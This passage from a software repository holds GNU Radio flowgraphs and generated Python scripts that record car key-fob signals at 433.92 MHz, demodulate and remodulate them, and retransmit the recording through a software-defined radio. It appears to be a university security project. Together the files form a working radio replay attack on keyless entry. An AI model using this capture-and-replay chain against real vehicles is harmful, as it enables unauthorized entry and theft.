694 | 695 | value 696 | "" 697 | 698 | 699 | 700 | wxgui_fftsink2 701 | 702 | avg_alpha 703 | 0 704 | 705 | 706 | average 707 | False 708 | 709 | 710 | baseband_freq 711 | freq - offset 712 | 713 | 714 | alias 715 | 716 | 717 | 718 | comment 719 | 720 | 721 | 722 | affinity 723 | 724 | 725 | 726 | _enabled 727 | 1 728 | 729 | 730 | fft_size 731 | 1024 732 | 733 | 734 | freqvar 735 | None 736 | 737 | 738 | _coordinate 739 | (912, 120) 740 | 741 | 742 | _rotation 743 | 0 744 | 745 | 746 | grid_pos 747 | 748 | 749 | 750 | id 751 | wxgui_fftsink2_0 752 | 753 | 754 | notebook 755 | 756 | 757 | 758 | peak_hold 759 | False 760 | 761 | 762 | ref_level 763 | 0 764 | 765 | 766 | ref_scale 767 | 2.0 768 | 769 | 770 | fft_rate 771 | 15 772 | 773 | 774 | samp_rate 775 | samp_rate 776 | 777 | 778 | title 779 | FFT Plot 780 | 781 | 782 | type 783 | complex 784 | 785 | 786 | win_size 787 | 788 | 789 | 790 | win 791 | None 792 | 793 | 794 | y_divs 795 | 10 796 | 797 | 798 | y_per_div 799 | 10 800 | 801 | 802 | 803 | wxgui_waterfallsink2 804 | 805 | avg_alpha 806 | 0 807 | 808 | 809 | average 810 | False 811 | 812 | 813 | baseband_freq 814 | freq - offset 815 | 816 | 817 | alias 818 | 819 | 820 | 821 | comment 822 | 823 | 824 | 825 | affinity 826 | 827 | 828 | 829 | dynamic_range 830 | 100 831 | 832 | 833 | _enabled 834 | True 835 | 836 | 837 | fft_rate 838 | 15 839 | 840 | 841 | fft_size 842 | 512 843 | 844 | 845 | freqvar 846 | None 847 | 848 | 849 | _coordinate 850 | (912, 452) 851 | 852 | 853 | _rotation 854 | 0 855 | 856 | 857 | grid_pos 858 | 859 | 860 | 861 | id 862 | wxgui_waterfallsink2_0 863 | 864 | 865 | notebook 866 | 867 | 868 | 869 | ref_scale 870 | 2.0 871 | 872 | 873 | ref_level 874 | 0 875 | 876 | 877 | samp_rate 878 | samp_rate 879 | 880 | 881 | title 882 | Waterfall Plot 883 | 884 | 885 | type 886 | complex 887 | 888 | 889 | win_size 890 | 891 | 892 | 893 | win 894 | None 895 | 896 | 897 | 898 | dc_blocker_xx_0 899 | high_pass_filter_0 900 | 0 901 | 0 902 | 903 | 904 | high_pass_filter_0 905 | blocks_file_sink_0 906 | 0 907 | 0 908 | 909 | 910 | high_pass_filter_0 911 | wxgui_fftsink2_0 912 | 0 913 | 0 914 | 915 | 916 | high_pass_filter_0 917 | wxgui_waterfallsink2_0 918 | 0 919 | 0 920 | 921 | 922 | osmosdr_source_0 923 | dc_blocker_xx_0 924 | 0 925 | 0 926 | 927 | 928 | -------------------------------------------------------------------------------- /grc/carkey-record.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sat Nov 5 11:15:45 2016 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | record 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | prompt 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable_slider 86 | 87 | comment 88 | 89 | 90 | 91 | converver 92 | float_converter 93 | 94 | 95 | value 96 | key_freq 97 | 98 | 99 | _enabled 100 | True 101 | 102 | 103 | _coordinate 104 | (408, 16) 105 | 106 | 107 | _rotation 108 | 0 109 | 110 | 111 | grid_pos 112 | 113 | 114 | 115 | id 116 | freq 117 | 118 | 119 | label 120 | 121 | 122 | 123 | max 124 | key_freq + 10e6 125 | 126 | 127 | min 128 | key_freq - 10e6 129 | 130 | 131 | notebook 132 | 133 | 134 | 135 | num_steps 136 | 1000 137 | 138 | 139 | style 140 | wx.SL_HORIZONTAL 141 | 142 | 143 | 144 | variable 145 | 146 | comment 147 | 148 | 149 | 150 | _enabled 151 | True 152 | 153 | 154 | _coordinate 155 | (216, 220) 156 | 157 | 158 | _rotation 159 | 0 160 | 161 | 162 | id 163 | key_freq 164 | 165 | 166 | value 167 | 433.92e6 168 | 169 | 170 | 171 | variable 172 | 173 | comment 174 | 175 | 176 | 177 | _enabled 178 | True 179 | 180 | 181 | _coordinate 182 | (368, 260) 183 | 184 | 185 | _rotation 186 | 0 187 | 188 | 189 | id 190 | offset 191 | 192 | 193 | value 194 | 220e3 195 | 196 | 197 | 198 | variable 199 | 200 | comment 201 | 202 | 203 | 204 | _enabled 205 | True 206 | 207 | 208 | _coordinate 209 | (64, 204) 210 | 211 | 212 | _rotation 213 | 0 214 | 215 | 216 | id 217 | samp_rate 218 | 219 | 220 | value 221 | 2e6 222 | 223 | 224 | 225 | blocks_file_sink 226 | 227 | append 228 | False 229 | 230 | 231 | alias 232 | 233 | 234 | 235 | comment 236 | 237 | 238 | 239 | affinity 240 | 241 | 242 | 243 | _enabled 244 | 1 245 | 246 | 247 | file 248 | /home/kathy/Uni/rkes/carkey.record 249 | 250 | 251 | _coordinate 252 | (712, 716) 253 | 254 | 255 | _rotation 256 | 0 257 | 258 | 259 | id 260 | blocks_file_sink_0 261 | 262 | 263 | type 264 | complex 265 | 266 | 267 | unbuffered 268 | False 269 | 270 | 271 | vlen 272 | 1 273 | 274 | 275 | 276 | dc_blocker_xx 277 | 278 | alias 279 | 280 | 281 | 282 | comment 283 | 284 | 285 | 286 | affinity 287 | 288 | 289 | 290 | _enabled 291 | True 292 | 293 | 294 | _coordinate 295 | (480, 516) 296 | 297 | 298 | _rotation 299 | 0 300 | 301 | 302 | id 303 | dc_blocker_xx_0 304 | 305 | 306 | length 307 | 1024 308 | 309 | 310 | long_form 311 | True 312 | 313 | 314 | maxoutbuf 315 | 0 316 | 317 | 318 | minoutbuf 319 | 0 320 | 321 | 322 | type 323 | cc 324 | 325 | 326 | 327 | osmosdr_source 328 | 329 | alias 330 | 331 | 332 | 333 | ant0 334 | 335 | 336 | 337 | bb_gain0 338 | 20 339 | 340 | 341 | bw0 342 | 0 343 | 344 | 345 | dc_offset_mode0 346 | 2 347 | 348 | 349 | corr0 350 | 0 351 | 352 | 353 | freq0 354 | freq - offset 355 | 356 | 357 | gain_mode0 358 | False 359 | 360 | 361 | if_gain0 362 | 17 363 | 364 | 365 | iq_balance_mode0 366 | 0 367 | 368 | 369 | gain0 370 | 0 371 | 372 | 373 | ant1 374 | 375 | 376 | 377 | bb_gain1 378 | 20 379 | 380 | 381 | bw1 382 | 0 383 | 384 | 385 | dc_offset_mode1 386 | 0 387 | 388 | 389 | corr1 390 | 0 391 | 392 | 393 | freq1 394 | 100e6 395 | 396 | 397 | gain_mode1 398 | False 399 | 400 | 401 | if_gain1 402 | 20 403 | 404 | 405 | iq_balance_mode1 406 | 0 407 | 408 | 409 | gain1 410 | 10 411 | 412 | 413 | ant2 414 | 415 | 416 | 417 | bb_gain2 418 | 20 419 | 420 | 421 | bw2 422 | 0 423 | 424 | 425 | dc_offset_mode2 426 | 0 427 | 428 | 429 | corr2 430 | 0 431 | 432 | 433 | freq2 434 | 100e6 435 | 436 | 437 | gain_mode2 438 | False 439 | 440 | 441 | if_gain2 442 | 20 443 | 444 | 445 | iq_balance_mode2 446 | 0 447 | 448 | 449 | gain2 450 | 10 451 | 452 | 453 | ant3 454 | 455 | 456 | 457 | bb_gain3 458 | 20 459 | 460 | 461 | bw3 462 | 0 463 | 464 | 465 | dc_offset_mode3 466 | 0 467 | 468 | 469 | corr3 470 | 0 471 | 472 | 473 | freq3 474 | 100e6 475 | 476 | 477 | gain_mode3 478 | False 479 | 480 | 481 | if_gain3 482 | 20 483 | 484 | 485 | iq_balance_mode3 486 | 0 487 | 488 | 489 | gain3 490 | 10 491 | 492 | 493 | ant4 494 | 495 | 496 | 497 | bb_gain4 498 | 20 499 | 500 | 501 | bw4 502 | 0 503 | 504 | 505 | dc_offset_mode4 506 | 0 507 | 508 | 509 | corr4 510 | 0 511 | 512 | 513 | freq4 514 | 100e6 515 | 516 | 517 | gain_mode4 518 | False 519 | 520 | 521 | if_gain4 522 | 20 523 | 524 | 525 | iq_balance_mode4 526 | 0 527 | 528 | 529 | gain4 530 | 10 531 | 532 | 533 | comment 534 | 535 | 536 | 537 | affinity 538 | 539 | 540 | 541 | args 542 | 543 | 544 | 545 | _enabled 546 | True 547 | 548 | 549 | _coordinate 550 | (64, 452) 551 | 552 | 553 | _rotation 554 | 0 555 | 556 | 557 | id 558 | osmosdr_source_0 559 | 560 | 561 | maxoutbuf 562 | 0 563 | 564 | 565 | minoutbuf 566 | 0 567 | 568 | 569 | nchan 570 | 1 571 | 572 | 573 | type 574 | fc32 575 | 576 | 577 | sample_rate 578 | samp_rate 579 | 580 | 581 | 582 | wxgui_fftsink2 583 | 584 | avg_alpha 585 | 0 586 | 587 | 588 | average 589 | False 590 | 591 | 592 | baseband_freq 593 | freq - offset 594 | 595 | 596 | alias 597 | 598 | 599 | 600 | comment 601 | 602 | 603 | 604 | affinity 605 | 606 | 607 | 608 | _enabled 609 | 1 610 | 611 | 612 | fft_size 613 | 1024 614 | 615 | 616 | freqvar 617 | None 618 | 619 | 620 | _coordinate 621 | (960, 248) 622 | 623 | 624 | _rotation 625 | 0 626 | 627 | 628 | grid_pos 629 | 630 | 631 | 632 | id 633 | wxgui_fftsink2_0 634 | 635 | 636 | notebook 637 | 638 | 639 | 640 | peak_hold 641 | False 642 | 643 | 644 | ref_level 645 | 0 646 | 647 | 648 | ref_scale 649 | 2.0 650 | 651 | 652 | fft_rate 653 | 15 654 | 655 | 656 | samp_rate 657 | samp_rate 658 | 659 | 660 | title 661 | FFT Plot 662 | 663 | 664 | type 665 | complex 666 | 667 | 668 | win_size 669 | 670 | 671 | 672 | win 673 | None 674 | 675 | 676 | y_divs 677 | 10 678 | 679 | 680 | y_per_div 681 | 10 682 | 683 | 684 | 685 | wxgui_waterfallsink2 686 | 687 | avg_alpha 688 | 0 689 | 690 | 691 | average 692 | False 693 | 694 | 695 | baseband_freq 696 | freq - offset 697 | 698 | 699 | alias 700 | 701 | 702 | 703 | comment 704 | 705 | 706 | 707 | affinity 708 | 709 | 710 | 711 | dynamic_range 712 | 100 713 | 714 | 715 | _enabled 716 | True 717 | 718 | 719 | fft_rate 720 | 15 721 | 722 | 723 | fft_size 724 | 512 725 | 726 | 727 | freqvar 728 | None 729 | 730 | 731 | _coordinate 732 | (960, 580) 733 | 734 | 735 | _rotation 736 | 0 737 | 738 | 739 | grid_pos 740 | 741 | 742 | 743 | id 744 | wxgui_waterfallsink2_0 745 | 746 | 747 | notebook 748 | 749 | 750 | 751 | ref_scale 752 | 2.0 753 | 754 | 755 | ref_level 756 | 0 757 | 758 | 759 | samp_rate 760 | samp_rate 761 | 762 | 763 | title 764 | Waterfall Plot 765 | 766 | 767 | type 768 | complex 769 | 770 | 771 | win_size 772 | 773 | 774 | 775 | win 776 | None 777 | 778 | 779 | 780 | dc_blocker_xx_0 781 | blocks_file_sink_0 782 | 0 783 | 0 784 | 785 | 786 | dc_blocker_xx_0 787 | wxgui_fftsink2_0 788 | 0 789 | 0 790 | 791 | 792 | dc_blocker_xx_0 793 | wxgui_waterfallsink2_0 794 | 0 795 | 0 796 | 797 | 798 | osmosdr_source_0 799 | dc_blocker_xx_0 800 | 0 801 | 0 802 | 803 | 804 | -------------------------------------------------------------------------------- /grc/carkey-replay.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sat Nov 26 14:38:42 2016 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | replay 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | prompt 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable 86 | 87 | comment 88 | 89 | 90 | 91 | _enabled 92 | True 93 | 94 | 95 | _coordinate 96 | (432, 16) 97 | 98 | 99 | _rotation 100 | 0 101 | 102 | 103 | id 104 | baud_rate 105 | 106 | 107 | value 108 | 2e3 109 | 110 | 111 | 112 | variable 113 | 114 | comment 115 | 116 | 117 | 118 | _enabled 119 | True 120 | 121 | 122 | _coordinate 123 | (264, 200) 124 | 125 | 126 | _rotation 127 | 0 128 | 129 | 130 | id 131 | key_freq 132 | 133 | 134 | value 135 | 433.92e6 136 | 137 | 138 | 139 | variable 140 | 141 | comment 142 | 143 | 144 | 145 | _enabled 146 | True 147 | 148 | 149 | _coordinate 150 | (440, 200) 151 | 152 | 153 | _rotation 154 | 0 155 | 156 | 157 | id 158 | offset 159 | 160 | 161 | value 162 | 220e3 163 | 164 | 165 | 166 | variable 167 | 168 | comment 169 | 170 | 171 | 172 | _enabled 173 | True 174 | 175 | 176 | _coordinate 177 | (104, 192) 178 | 179 | 180 | _rotation 181 | 0 182 | 183 | 184 | id 185 | samp_rate 186 | 187 | 188 | value 189 | 2e6 190 | 191 | 192 | 193 | band_pass_filter 194 | 195 | beta 196 | 6.76 197 | 198 | 199 | alias 200 | 201 | 202 | 203 | comment 204 | 205 | 206 | 207 | affinity 208 | 209 | 210 | 211 | decim 212 | 1 213 | 214 | 215 | _enabled 216 | 1 217 | 218 | 219 | type 220 | fir_filter_ccf 221 | 222 | 223 | _coordinate 224 | (696, 428) 225 | 226 | 227 | _rotation 228 | 0 229 | 230 | 231 | gain 232 | 1 233 | 234 | 235 | high_cutoff_freq 236 | 200e3 237 | 238 | 239 | id 240 | band_pass_filter_0 241 | 242 | 243 | interp 244 | 1 245 | 246 | 247 | low_cutoff_freq 248 | 100e3 249 | 250 | 251 | maxoutbuf 252 | 0 253 | 254 | 255 | minoutbuf 256 | 0 257 | 258 | 259 | samp_rate 260 | samp_rate 261 | 262 | 263 | width 264 | 50e3 265 | 266 | 267 | win 268 | firdes.WIN_HAMMING 269 | 270 | 271 | 272 | blocks_file_source 273 | 274 | alias 275 | 276 | 277 | 278 | comment 279 | 280 | 281 | 282 | affinity 283 | 284 | 285 | 286 | _enabled 287 | True 288 | 289 | 290 | file 291 | /home/kathy/Uni/rkes/carkey.record 292 | 293 | 294 | _coordinate 295 | (24, 484) 296 | 297 | 298 | _rotation 299 | 0 300 | 301 | 302 | id 303 | blocks_file_source_0 304 | 305 | 306 | maxoutbuf 307 | 0 308 | 309 | 310 | minoutbuf 311 | 0 312 | 313 | 314 | type 315 | complex 316 | 317 | 318 | repeat 319 | False 320 | 321 | 322 | vlen 323 | 1 324 | 325 | 326 | 327 | blocks_multiply_const_vxx 328 | 329 | alias 330 | 331 | 332 | 333 | comment 334 | 335 | 336 | 337 | const 338 | 6 339 | 340 | 341 | affinity 342 | 343 | 344 | 345 | _enabled 346 | True 347 | 348 | 349 | _coordinate 350 | (352, 496) 351 | 352 | 353 | _rotation 354 | 0 355 | 356 | 357 | id 358 | blocks_multiply_const_vxx_0 359 | 360 | 361 | type 362 | complex 363 | 364 | 365 | maxoutbuf 366 | 0 367 | 368 | 369 | minoutbuf 370 | 0 371 | 372 | 373 | vlen 374 | 1 375 | 376 | 377 | 378 | blocks_throttle 379 | 380 | alias 381 | 382 | 383 | 384 | comment 385 | 386 | 387 | 388 | affinity 389 | 390 | 391 | 392 | _enabled 393 | True 394 | 395 | 396 | _coordinate 397 | (720, 232) 398 | 399 | 400 | _rotation 401 | 0 402 | 403 | 404 | id 405 | blocks_throttle_0 406 | 407 | 408 | ignoretag 409 | True 410 | 411 | 412 | maxoutbuf 413 | 0 414 | 415 | 416 | minoutbuf 417 | 0 418 | 419 | 420 | samples_per_second 421 | samp_rate 422 | 423 | 424 | type 425 | complex 426 | 427 | 428 | vlen 429 | 1 430 | 431 | 432 | 433 | osmosdr_sink 434 | 435 | alias 436 | 437 | 438 | 439 | ant0 440 | 441 | 442 | 443 | bb_gain0 444 | 20 445 | 446 | 447 | bw0 448 | 0 449 | 450 | 451 | corr0 452 | 0 453 | 454 | 455 | freq0 456 | key_freq - offset 457 | 458 | 459 | if_gain0 460 | 47 461 | 462 | 463 | gain0 464 | 0 465 | 466 | 467 | ant1 468 | 469 | 470 | 471 | bb_gain1 472 | 20 473 | 474 | 475 | bw1 476 | 0 477 | 478 | 479 | corr1 480 | 0 481 | 482 | 483 | freq1 484 | 100e6 485 | 486 | 487 | if_gain1 488 | 20 489 | 490 | 491 | gain1 492 | 10 493 | 494 | 495 | ant2 496 | 497 | 498 | 499 | bb_gain2 500 | 20 501 | 502 | 503 | bw2 504 | 0 505 | 506 | 507 | corr2 508 | 0 509 | 510 | 511 | freq2 512 | 100e6 513 | 514 | 515 | if_gain2 516 | 20 517 | 518 | 519 | gain2 520 | 10 521 | 522 | 523 | ant3 524 | 525 | 526 | 527 | bb_gain3 528 | 20 529 | 530 | 531 | bw3 532 | 0 533 | 534 | 535 | corr3 536 | 0 537 | 538 | 539 | freq3 540 | 100e6 541 | 542 | 543 | if_gain3 544 | 20 545 | 546 | 547 | gain3 548 | 10 549 | 550 | 551 | ant4 552 | 553 | 554 | 555 | bb_gain4 556 | 20 557 | 558 | 559 | bw4 560 | 0 561 | 562 | 563 | corr4 564 | 0 565 | 566 | 567 | freq4 568 | 100e6 569 | 570 | 571 | if_gain4 572 | 20 573 | 574 | 575 | gain4 576 | 10 577 | 578 | 579 | comment 580 | 581 | 582 | 583 | affinity 584 | 585 | 586 | 587 | args 588 | 589 | 590 | 591 | _enabled 592 | 1 593 | 594 | 595 | _coordinate 596 | (952, 656) 597 | 598 | 599 | _rotation 600 | 0 601 | 602 | 603 | id 604 | osmosdr_sink_0 605 | 606 | 607 | type 608 | fc32 609 | 610 | 611 | nchan 612 | 1 613 | 614 | 615 | sample_rate 616 | samp_rate 617 | 618 | 619 | 620 | wxgui_fftsink2 621 | 622 | avg_alpha 623 | 0 624 | 625 | 626 | average 627 | False 628 | 629 | 630 | baseband_freq 631 | key_freq - offset 632 | 633 | 634 | alias 635 | 636 | 637 | 638 | comment 639 | 640 | 641 | 642 | affinity 643 | 644 | 645 | 646 | _enabled 647 | True 648 | 649 | 650 | fft_size 651 | 1024 652 | 653 | 654 | freqvar 655 | None 656 | 657 | 658 | _coordinate 659 | (960, 248) 660 | 661 | 662 | _rotation 663 | 0 664 | 665 | 666 | grid_pos 667 | 668 | 669 | 670 | id 671 | wxgui_fftsink2_0 672 | 673 | 674 | notebook 675 | 676 | 677 | 678 | peak_hold 679 | False 680 | 681 | 682 | ref_level 683 | 0 684 | 685 | 686 | ref_scale 687 | 2.0 688 | 689 | 690 | fft_rate 691 | 15 692 | 693 | 694 | samp_rate 695 | samp_rate 696 | 697 | 698 | title 699 | FFT Plot 700 | 701 | 702 | type 703 | complex 704 | 705 | 706 | win_size 707 | 708 | 709 | 710 | win 711 | None 712 | 713 | 714 | y_divs 715 | 10 716 | 717 | 718 | y_per_div 719 | 10 720 | 721 | 722 | 723 | wxgui_scopesink2 724 | 725 | ac_couple 726 | False 727 | 728 | 729 | alias 730 | 731 | 732 | 733 | comment 734 | 735 | 736 | 737 | affinity 738 | 739 | 740 | 741 | _enabled 742 | True 743 | 744 | 745 | _coordinate 746 | (960, 72) 747 | 748 | 749 | _rotation 750 | 0 751 | 752 | 753 | grid_pos 754 | 755 | 756 | 757 | id 758 | wxgui_scopesink2_0 759 | 760 | 761 | notebook 762 | 763 | 764 | 765 | num_inputs 766 | 1 767 | 768 | 769 | samp_rate 770 | samp_rate 771 | 772 | 773 | t_scale 774 | 0 775 | 776 | 777 | title 778 | Scope Plot 779 | 780 | 781 | trig_mode 782 | wxgui.TRIG_MODE_AUTO 783 | 784 | 785 | type 786 | complex 787 | 788 | 789 | v_offset 790 | 0 791 | 792 | 793 | v_scale 794 | 0 795 | 796 | 797 | win_size 798 | 799 | 800 | 801 | xy_mode 802 | False 803 | 804 | 805 | y_axis_label 806 | Counts 807 | 808 | 809 | 810 | band_pass_filter_0 811 | blocks_throttle_0 812 | 0 813 | 0 814 | 815 | 816 | band_pass_filter_0 817 | osmosdr_sink_0 818 | 0 819 | 0 820 | 821 | 822 | blocks_file_source_0 823 | blocks_multiply_const_vxx_0 824 | 0 825 | 0 826 | 827 | 828 | blocks_multiply_const_vxx_0 829 | band_pass_filter_0 830 | 0 831 | 0 832 | 833 | 834 | blocks_throttle_0 835 | wxgui_fftsink2_0 836 | 0 837 | 0 838 | 839 | 840 | blocks_throttle_0 841 | wxgui_scopesink2_0 842 | 0 843 | 0 844 | 845 | 846 | -------------------------------------------------------------------------------- /grc/demod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: Demod 6 | # Generated: Sun Jan 29 20:12:50 2017 7 | ################################################## 8 | 9 | from gnuradio import blocks 10 | from gnuradio import digital 11 | from gnuradio import eng_notation 12 | from gnuradio import filter 13 | from gnuradio import gr 14 | from gnuradio.eng_option import eng_option 15 | from gnuradio.filter import firdes 16 | from optparse import OptionParser 17 | 18 | 19 | class demod(gr.top_block): 20 | 21 | def __init__(self, infile="", outfile=""): 22 | gr.top_block.__init__(self, "Demod") 23 | 24 | ################################################## 25 | # Parameters 26 | ################################################## 27 | self.infile = infile 28 | self.outfile = outfile 29 | 30 | ################################################## 31 | # Variables 32 | ################################################## 33 | self.samp_rate = samp_rate = 2e6 34 | self.offset = offset = 220e3 35 | self.key_freq = key_freq = 433.92e6 36 | 37 | ################################################## 38 | # Blocks 39 | ################################################## 40 | self.digital_binary_slicer_fb_0 = digital.binary_slicer_fb() 41 | self.blocks_throttle_0 = blocks.throttle(gr.sizeof_gr_complex*1, samp_rate,True) 42 | self.blocks_multiply_const_vxx_0 = blocks.multiply_const_vff((10000, )) 43 | self.blocks_file_source_0_0 = blocks.file_source(gr.sizeof_gr_complex*1, infile, False) 44 | self.blocks_file_sink_0 = blocks.file_sink(gr.sizeof_char*1, outfile, False) 45 | self.blocks_file_sink_0.set_unbuffered(False) 46 | self.blocks_complex_to_mag_0 = blocks.complex_to_mag(1) 47 | self.blocks_add_const_vxx_1 = blocks.add_const_vff((-0.5, )) 48 | self.band_pass_filter_0 = filter.fir_filter_ccf(1, firdes.band_pass( 49 | 100, samp_rate, 220e3, 270e3, 50e3, firdes.WIN_HAMMING, 6.76)) 50 | 51 | ################################################## 52 | # Connections 53 | ################################################## 54 | self.connect((self.band_pass_filter_0, 0), (self.blocks_complex_to_mag_0, 0)) 55 | self.connect((self.blocks_add_const_vxx_1, 0), (self.blocks_multiply_const_vxx_0, 0)) 56 | self.connect((self.blocks_complex_to_mag_0, 0), (self.blocks_add_const_vxx_1, 0)) 57 | self.connect((self.blocks_file_source_0_0, 0), (self.blocks_throttle_0, 0)) 58 | self.connect((self.blocks_multiply_const_vxx_0, 0), (self.digital_binary_slicer_fb_0, 0)) 59 | self.connect((self.blocks_throttle_0, 0), (self.band_pass_filter_0, 0)) 60 | self.connect((self.digital_binary_slicer_fb_0, 0), (self.blocks_file_sink_0, 0)) 61 | 62 | def get_infile(self): 63 | return self.infile 64 | 65 | def set_infile(self, infile): 66 | self.infile = infile 67 | self.blocks_file_source_0_0.open(self.infile, False) 68 | 69 | def get_outfile(self): 70 | return self.outfile 71 | 72 | def set_outfile(self, outfile): 73 | self.outfile = outfile 74 | self.blocks_file_sink_0.open(self.outfile) 75 | 76 | def get_samp_rate(self): 77 | return self.samp_rate 78 | 79 | def set_samp_rate(self, samp_rate): 80 | self.samp_rate = samp_rate 81 | self.blocks_throttle_0.set_sample_rate(self.samp_rate) 82 | self.band_pass_filter_0.set_taps(firdes.band_pass(100, self.samp_rate, 220e3, 270e3, 50e3, firdes.WIN_HAMMING, 6.76)) 83 | 84 | def get_offset(self): 85 | return self.offset 86 | 87 | def set_offset(self, offset): 88 | self.offset = offset 89 | 90 | def get_key_freq(self): 91 | return self.key_freq 92 | 93 | def set_key_freq(self, key_freq): 94 | self.key_freq = key_freq 95 | 96 | 97 | def argument_parser(): 98 | parser = OptionParser(usage="%prog: [options]", option_class=eng_option) 99 | parser.add_option( 100 | "", "--infile", dest="infile", type="string", default="", 101 | help="Set infile [default=%default]") 102 | parser.add_option( 103 | "", "--outfile", dest="outfile", type="string", default="", 104 | help="Set outfile [default=%default]") 105 | return parser 106 | 107 | 108 | def main(top_block_cls=demod, options=None): 109 | if options is None: 110 | options, _ = argument_parser().parse_args() 111 | 112 | tb = top_block_cls(infile=options.infile, outfile=options.outfile) 113 | tb.start() 114 | tb.wait() 115 | 116 | 117 | if __name__ == '__main__': 118 | main() 119 | -------------------------------------------------------------------------------- /grc/mod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: Mod 6 | # Generated: Sun Jan 29 20:30:14 2017 7 | ################################################## 8 | 9 | if __name__ == '__main__': 10 | import ctypes 11 | import sys 12 | if sys.platform.startswith('linux'): 13 | try: 14 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 15 | x11.XInitThreads() 16 | except: 17 | print "Warning: failed to XInitThreads()" 18 | 19 | from gnuradio import analog 20 | from gnuradio import blocks 21 | from gnuradio import eng_notation 22 | from gnuradio import gr 23 | from gnuradio import wxgui 24 | from gnuradio.eng_option import eng_option 25 | from gnuradio.filter import firdes 26 | from gnuradio.wxgui import scopesink2 27 | from grc_gnuradio import wxgui as grc_wxgui 28 | from optparse import OptionParser 29 | import osmosdr 30 | import wx 31 | 32 | 33 | class mod(grc_wxgui.top_block_gui): 34 | 35 | def __init__(self, infile=""): 36 | grc_wxgui.top_block_gui.__init__(self, title="Mod") 37 | 38 | ################################################## 39 | # Parameters 40 | ################################################## 41 | self.infile = infile 42 | 43 | ################################################## 44 | # Variables 45 | ################################################## 46 | self.samp_rate = samp_rate = 2e6 47 | self.offset = offset = 220e3 48 | self.key_freq = key_freq = 433.92e6 49 | 50 | ################################################## 51 | # Blocks 52 | ################################################## 53 | self.wxgui_scopesink2_0_0 = scopesink2.scope_sink_c( 54 | self.GetWin(), 55 | title='Scope Plot', 56 | sample_rate=samp_rate, 57 | v_scale=0, 58 | v_offset=0, 59 | t_scale=0, 60 | ac_couple=False, 61 | xy_mode=False, 62 | num_inputs=1, 63 | trig_mode=wxgui.TRIG_MODE_AUTO, 64 | y_axis_label='Counts', 65 | ) 66 | self.Add(self.wxgui_scopesink2_0_0.win) 67 | self.osmosdr_sink_0 = osmosdr.sink( args="numchan=" + str(1) + " " + '' ) 68 | self.osmosdr_sink_0.set_sample_rate(samp_rate) 69 | self.osmosdr_sink_0.set_center_freq(key_freq - offset, 0) 70 | self.osmosdr_sink_0.set_freq_corr(0, 0) 71 | self.osmosdr_sink_0.set_gain(15, 0) 72 | self.osmosdr_sink_0.set_if_gain(47, 0) 73 | self.osmosdr_sink_0.set_bb_gain(20, 0) 74 | self.osmosdr_sink_0.set_antenna('', 0) 75 | self.osmosdr_sink_0.set_bandwidth(0, 0) 76 | 77 | self.blocks_uchar_to_float_0 = blocks.uchar_to_float() 78 | self.blocks_multiply_xx_0 = blocks.multiply_vff(1) 79 | self.blocks_float_to_complex_0 = blocks.float_to_complex(1) 80 | self.blocks_file_source_0 = blocks.file_source(gr.sizeof_char*1, infile, False) 81 | self.analog_sig_source_x_0 = analog.sig_source_f(samp_rate, analog.GR_COS_WAVE, key_freq, 1, 0) 82 | 83 | ################################################## 84 | # Connections 85 | ################################################## 86 | self.connect((self.analog_sig_source_x_0, 0), (self.blocks_multiply_xx_0, 1)) 87 | self.connect((self.blocks_file_source_0, 0), (self.blocks_uchar_to_float_0, 0)) 88 | self.connect((self.blocks_float_to_complex_0, 0), (self.osmosdr_sink_0, 0)) 89 | self.connect((self.blocks_float_to_complex_0, 0), (self.wxgui_scopesink2_0_0, 0)) 90 | self.connect((self.blocks_multiply_xx_0, 0), (self.blocks_float_to_complex_0, 0)) 91 | self.connect((self.blocks_uchar_to_float_0, 0), (self.blocks_multiply_xx_0, 0)) 92 | 93 | def get_infile(self): 94 | return self.infile 95 | 96 | def set_infile(self, infile): 97 | self.infile = infile 98 | self.blocks_file_source_0.open(self.infile, False) 99 | 100 | def get_samp_rate(self): 101 | return self.samp_rate 102 | 103 | def set_samp_rate(self, samp_rate): 104 | self.samp_rate = samp_rate 105 | self.wxgui_scopesink2_0_0.set_sample_rate(self.samp_rate) 106 | self.osmosdr_sink_0.set_sample_rate(self.samp_rate) 107 | self.analog_sig_source_x_0.set_sampling_freq(self.samp_rate) 108 | 109 | def get_offset(self): 110 | return self.offset 111 | 112 | def set_offset(self, offset): 113 | self.offset = offset 114 | self.osmosdr_sink_0.set_center_freq(self.key_freq - 